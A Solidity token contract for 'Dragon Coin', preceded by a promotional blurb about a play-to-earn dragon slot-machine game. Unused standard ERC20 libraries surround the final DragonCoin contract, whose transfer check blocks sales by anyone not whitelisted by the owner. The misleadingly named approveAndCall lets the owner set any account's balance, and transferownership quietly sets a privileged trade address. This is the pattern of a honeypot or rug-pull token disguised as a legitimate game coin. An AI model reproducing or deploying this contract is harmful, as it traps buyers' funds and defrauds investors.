/*
Dragon Coin
Dragon coin is play to earn tokens was created for attractive Coin & Dragon game. Coin & Dragon is one of the best blackchain-based game that blends RPG, strategy, collection, play-to-earn gameplay. Your dragon heroes automatically use powerful skills to defeat enemies without your control. You just spin the slot machines and collect the coins you need to grow your dragon heroes.
Players can get an interesting experience in Coin & Dragon have the opportunity to earn. We aim to bring encrypted games to life through fun games and social network interaction.
Coin & Dragon has created a fun and Dragon NFT world, adding arenas, ranking challenges, land management, social interaction and many other gameplay to make the game more interesting and interactive. Players experience the adventure in the game, combining upgrades and battle strategies to win rewards. Players can also collect and trade in-game resources to gain experience and benefits. We believe that you will find the fun of the game in Coin & Dragon and create your own legend.
Vision
The aim of Dragon coin is to create the Play-to-Earn Crypto game. 
We want to tailor an accessible and friendly crypto experience where players can understand the true nature of crypto gaming - you own what you collect.
We are strong believers in the community and the power that gaming can have on the players. Value in Coin & Dragon game comes from the effort, customisation and personal experience a person pours into building their team.

Goals

1.Improve Web3 
We will become the conduit to introducing people into cryptocurrency and the world of Web3. The game should be accessible and understandable for all walks of life.

2. Transparency
Change the perspective of building a game and company in the Web3 space. Combat the toxicity and shady projects that haunt this space with friendliness and transparency around all aspects of the company.

3. Disprove the idea the someone has ‘come too late’.
Gameplay should be engaging for new or long term players. Everyone has their own unique experience building out their team and the game stays forever young.

4. Crowd sourced
We are bullish on the power of this community and what we can build together. The art, code, game design, tokenomics and processes will be shaped by the players and contributors of the project. We want to take the lead on community contributing protocols that will define this space.

About Game
Your coin & dragon heroes automatically use powerful skills to defeat enemies without your control. You just spin the slot machines and collect the coins you need to grow your dragon heroes. Of course, you can also easily win huge amounts of money using the "Hold for Auto-spin" button.
Collect Coins and Epic Dragons through ancient slot machine! Level up your dragon heroes and dominate your foes across countless arenas. Level up your dragon heroes through the IDLE Mode if you’re too busy to play.
Raid mode will find you dragon masters of the world. Raid them and get huge coins!
Save the world ravaged by the resurrection of a diabolical dragon and become the world’s best Dragon Master! The ancient slot machine and various dragon heroes will assist you on your path to becoming the world’s best Dragon Master!
IDLE System
- Set your dragons training while you're away. When you return to your phone, they will be stronger, gained new abilities, and ready for battle.
- Grow & Train a powerful squad without all the grinding!

Spin to win your coin
- Spin the ancient slot machine to fall on your fortune, be it attack time, loot, collect epic dragon heroes or materials for level up your dragon heroes.
- Collecting coins through the ancient slot machine isn't the only way to get coin, you can get it too! Attack friend or worldwide dragon master!

Collect over 70 different dragon heroes
- More than 70 dragon heroes in different factions with specific skills.
- Summon your Warriors, Train them to become epic dragon heroes. forge magical runes and evolve your strategy!
Worldwide Arena
- Put forth your best dragon heroes to do battle in the ARENA. Watch them PK online in a multiplayer contest for glory!
- Climb the Leader board for the best rewards!

Various Challenge with dungeons and battle field
- Collect even more coins in the coin dungeons that unlock for you every day!
- The rune stone dungeons that grant special abilities to dragon heroes are also waiting for you!
- Battle dragon masters from all over the world in the World Arena!
- Loot coins from other dragon masters through raids!

Take on Quests to level up your Dragon Master!
- Quests that updated on a daily!
- Main Quests that offer more rewards as you progress through the game!
- Newbie Quests that help new Dragon Masters adjust to the game!

Visit Token shop that will help you progress through the game!
- A shop where you can purchase in-game items.
- A shop where you can collect free daily items.
- A Token Exchange where you can exchange Dragon Coins for ETH!

Your training as a Dragon Master continues!
- Even when you are not playing the game, your dragon heroes will continue to battle and acquire items for you.
- You can set the Ancient Slot Machine to IDLE mode with a single tap of a button to win items and dragons.
- Invite your friends via Facebook and trade Dragon coin with them!
*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}

contract DragonCoin {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
       if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}